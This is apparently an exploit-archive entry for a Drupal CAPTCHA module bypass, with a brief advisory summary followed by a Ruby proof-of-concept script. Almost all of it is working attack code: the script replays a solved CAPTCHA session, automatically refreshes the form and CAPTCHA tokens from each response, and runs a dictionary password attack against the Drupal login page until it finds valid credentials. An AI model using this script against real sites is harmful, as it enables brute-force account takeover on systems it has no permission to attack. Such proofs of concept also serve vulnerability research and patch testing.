Drupal Module CAPTCHA – Security Bypass
source: https://www.securityfocus.com/bid/46344/info The CAPTCHA module for Drupal is prone to a security-bypass vulnerability that occurs in the CAPTCHA authentication routine. Successful exploits may allow attackers to bypass the CAPTCHA-based authentication routine, allowing attackers to perform brute-force attacks. # Drupal Captcha bruteforcing bypass # This is a Proof Of Concept to demonstrate a logic security flow # in the way drupal captcha is used to protect login forms # from bruteforce. If the captcha challenge is solved, the next # login attempts can be issued without solving any new captcha challenge. # Usage: change URL, PATH, USERAGENT as you need. # Change cookie, captcha_sid, captcha_token, form_build_id with the values # you got in the html response AFTER the captcha is solved. This is needed # in order to issue the first request as valid. # Unique tokens will be then updated automatically . # author: Michele "antisnatchor" Orru' require "net/http" require "net/https" require "erb" require "singleton" require "rubygems" require "nokogiri" URL = 'antisnatchor.com' PATH = '/user' USERAGENT = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13' # easy to enhance this reading list from a file, but this is just a PoC USERNAME_LIST = ['admin'] PASSWD_LIST = ['test1', 'test2', 'test3', 'guessme'] # these are the session values needed to create valid http requests, after # the reCaptcha has been solved the first time, leaving the login form # without a new captcha challenge cookie = "SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; has_js=1;" captcha_sid = "476" form_id = "user_login" # these anti-XSRF tokens will change for every http response, # so nokogiri is used to parse the html response in order to create # the next http request with the valid anti-xsrf/captcha tokens. # These initial values will be changed accordingly and automatically # for each request . captcha_token = "d853d6df05f6c6a956a46f20c8fe20aa" form_build_id = "form-43fb0bcbcb140066a782a3fc23ab1ab7" authenticated = false; @http = Net::HTTP.new(URL, 80) @http.use_ssl = false puts "+Initial xsrf token [" + form_build_id + "]" puts "+Initial captcha token [" + captcha_token + "]" puts "+Dictionary attack with [" + PASSWD_LIST.size.to_s + "] passwords" # I'm learning ruby :-) passwd_counter = 0 while !authenticated && passwd_counter < PASSWD_LIST.size do puts "+Testing password [" + PASSWD_LIST[passwd_counter] + "]" post_data = "name=" + USERNAME_LIST[0] + "&pass=" + PASSWD_LIST[passwd_counter] + "&form_build_id=" + form_build_id + "&form_id=" + form_id + "&captcha_sid="+ captcha_sid + "&captcha_token=" + captcha_token + "&op=Log+in" @headers = { 'Cookie' => cookie, 'Referer' => 'http://' + URL + PATH, 'Content-Type' => 'application/x-www-form-urlencoded', 'User-Agent' => USERAGENT } puts "+Request headers = " + @headers.inspect resp, data = @http.post2(PATH, post_data, @headers) # loads the response in nokogiri to parse anti-XSRF tokens doc = Nokogiri::HTML(data) puts '+Code = ' + resp.code puts '+Message = ' + resp.message # "debug" code #puts "=================================================== raw response START =======================================================" #puts data #puts "=================================================== raw response END =======================================================" if data.index("CAPTCHA session reuse attack detected") != nil puts "Doh', we've been detected by Drupal...quitting now" break end if data.index("Sorry, unrecognized username or password") == nil && resp.code == "302" # if credentials will be valid, there will be a 302 response with # a new location header, corresponding to the user home page (http://antisnatchor.com/user/1 for instance) authenticated = true else #parse the anti-xsrf and captcha tokens from the response doc.css('input[id^=form]').each do |form_build_id| form_build_id = form_build_id['id'] puts "+New xsrf token [" + form_build_id + "]" end doc.css('input[id^=edit-captcha-token]').each do |captcha_token_id| captcha_token = captcha_token_id['value'] puts "+New captcha token [" + captcha_token + "]" end # I'm still learning ruby :-) passwd_counter = passwd_counter + 1; end break if authenticated == true end if authenticated puts "+Succesfully authenticated user[" + USERNAME_LIST[0] + "] with password [" + PASSWD_LIST[passwd_counter] + "]" else puts "+No passwords are valid for user [" + USERNAME_LIST[0] + "]. Dictionary attack failed." end |